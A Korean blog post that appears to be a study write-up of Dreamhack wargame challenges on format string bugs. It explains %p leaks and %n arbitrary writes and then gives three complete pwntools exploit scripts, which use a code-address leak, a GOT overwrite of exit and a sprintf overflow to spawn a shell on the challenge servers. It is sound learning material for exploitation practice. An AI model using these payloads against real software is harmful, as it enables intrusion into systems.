[드림핵-시스템] Memory Corruption : Format String Bug

스근한국밥한그릇·2025년 1월 16일
0

SYSTEM

목록 보기
13/15

1. Format String

  • %[parameter][flags][width][.precision][length][specifier]

  • 형식 지정자

    • d : 부호 있는 10진수 정수
    • u : 부호 없는 10진수 정수
    • s : 문자열
    • x : 부호 없는 16진수 정수
    • n : 해당하는 위치의 인자에 현재까지 사용된 문자열의 길이 저장, 값 출력 x
    • p : void형 포인터

1-1 Format String Bug

  • 사용자가 직접 입력할 수 있을때, 공격자는 레지스터, 스택을 읽을 수 있고, 임의 주소 읽기 및 쓰기 가능

    • printf("%d", num) : FSB 불가능
    • printf(num) : FSB 가능
    • printf 인자 개수를 확인하지 않아 생김, 실제로 인자 넘어오지 않았음에도 호출 규약에 따라 참조하기 때문에 가능한 공격
  • 64bit : register에 arg 저장하여 함수 호출
    - rdi, rsi, rdx, rcx, r8, r9, rsp, rsp + 8, rsp + 16 ....

    • %p 통해서 해당 레지스터값 출력 가능
  • 임의 주소 읽기

  1. 위에서 언급한 %p를 적극활용
  2. AAAA %p %p %p ... 입력시 AAAA가 어디에 위치해 있는지 알 수 있다. -> offset 찾기 위한 과정
  • 임의 주소 쓰기
  1. %1111c%1$n : 1111 바이트의 문자열을 출력하고, 1번째 offset에 그 바이트를 16진수로 저장
  2. %n : 4byte 저장
  3. %hn : 2byte
  4. %hhn : 1byte
  • 변조해야하는 값이 큰 경우
    - 해당 부분을 2부분으로 나눈다 (high, low -> 4바이트의 경우 2바이트 / 2바이트로 나뉘게됨)

2. fsb_overwrite

2-1 code 분석

  • checksec fsb_overwrite

  1. x64
  2. canary 없다
void get_string(char *buf, size_t size) {
  ssize_t i = read(0, buf, size);
  if (i == -1) {
    perror("read");
    exit(1);
  }
  if (i < size) {
    if (i > 0 && buf[i - 1] == '\n') i--;
    buf[i] = 0;
  }
}

int changeme;

int main() {
  char buf[0x20];

  setbuf(stdout, NULL);

  while (1) {
    get_string(buf, 0x20);
    printf(buf);
    puts("");
    if (changeme == 1337) {
      system("/bin/sh");
    }
  }
}
  1. bof 불가능
  2. 무한 루프 -> 특정 주소 leak 가능
  3. changeme 주소 구하기 위한 Libc base 구하는 작업 필수
    • changeme variable is non initialized globa variable : symbols 통해서 추적 가능
    • printf가 시작하기전에 gdb 통해서 main함수가 rsp 어디에 저장되는지 checking
  • checking main

  1. 0x58 위치에 저장된 것 확인 가능
  2. vmmap 통해서 codesection start 지점확인
  3. 0x1293 차이나는 것 확인가능
    • binary실행 환경이나 PIE등의 조건때문에 address는 달라짐
    • offset distance는 일정하게 유지됨
  1. first Loop에서 main의 주소를 가져오고 0x1293을 빼준다
    • libc base = main - 0x1293
  2. e.sym['changeme'] 통해서 변수 주소 가져온 후 libc base 더해줌
    • change_addr = e.sym['changeme'] + libc base
  3. 이후 저절한 payload 작성

2-2 exploit code

from pwn import *

p = remote("host1.dreamhack.games", 12431)
e = ELF("./fsb_overwrite")


# gdb 통해서 파악한 이후 해당 코드 작성할 것
# 1. 메인 안의 Printf 함수 호출하는 줄에 breakpoint를 건다
# 2. x/30xg $rsp 를 통해 code section 안을 참조하는 부분이 어디인지 파악
# vmmap을 통해서 확인가능 0x555555....으로 시작할 것
# 찾은 주소와 start 주소를 뺀다 -> libc base

# $rsp + 0x58에 위치해 있다 -> get the address of the 17th offset 
# 원격서버에서는 + 0x48에 위치..?
p.sendline(b"%15$p") 
leaked = int(p.recvline()[:-1], 16)
code_base = leaked - 0x1293
changeme = code_base + e.sym['changeme']

# %1337c%8 - rsp
# $nAAAAAA - rsp + 8
# addr of changeme - rsp + 16
# %8$n -> 8번째 arg에 바이트크기를 저장해라 
# 8th arg is rsp + 16
payload = b"%1337c" + b"%8$n" + b'A'*6 + p64(changeme)
p.sendline(payload)
p.interactive()
  • 주석을 통해서 각각의 Payload가 어떤 역할 하는지 확인 가능
  • local 과 remote 간의 offset 차이 존재하기때문에 Dockerfile 통해서 미리 확인해볼 것
    • 나는 AAAA 이후 %p 를 20개 정도 적으며 체크해봄

3. baisc_002

3-1 code 분석

  • checksec basic_002

  • basic_002.c
void get_shell() {
    system("/bin/sh");
}

int main(int argc, char *argv[]) {

    char buf[0x80];

    initialize();

    read(0, buf, 0x80);
    printf(buf);

    exit(0);
}

  1. exit 함수를 get_shell 함수로 overwrite 하면 될듯
  2. pwntool중에 Overwirte 편하게 해주는 함수 발견
    • fmtstr_payload(offset, {changed addr : changing addr})

2-2 exploit code

from pwn import *

p = remote("host3.dreamhack.games", 20226)
e = ELF("./basic_002")

exit_plt = e.got['exit']
get_shell = e.sym['get_shell']

payload = fmtstr_payload(1, {exit_plt : get_shell})
p.sendline(payload)
p.interactive()

3. basic_003

3-1 code 분석

  • checksec basic_003

  • basic_003.c
void get_shell() {
    system("/bin/sh");
}
int main(int argc, char *argv[]) {
    char *heap_buf = (char *)malloc(0x80);
    char stack_buf[0x90] = {};
    initialize();
    read(0, heap_buf, 0x80);
    sprintf(stack_buf, heap_buf);
    printf("ECHO : %s\n", stack_buf);
    return 0;
}
  1. canary 없기때문에 Overflow로 ret addr overwrite 하면될 듯
  2. gdb 통해서 buf2rbp 값 구하기
    • 0x98 + 4 = 156(buf2ret)

3-2 exploit code

p = remote("host1.dreamhack.games", 20589)
e = ELF("./basic_003")

get_shell = e.sym['get_shell']

payload = b"%156c" + p32(get_shell)
p.sendline(payload)
p.interactive()
profile
항상 든든하게 코딩 한그릇🧑‍💻🍚

0개의 댓글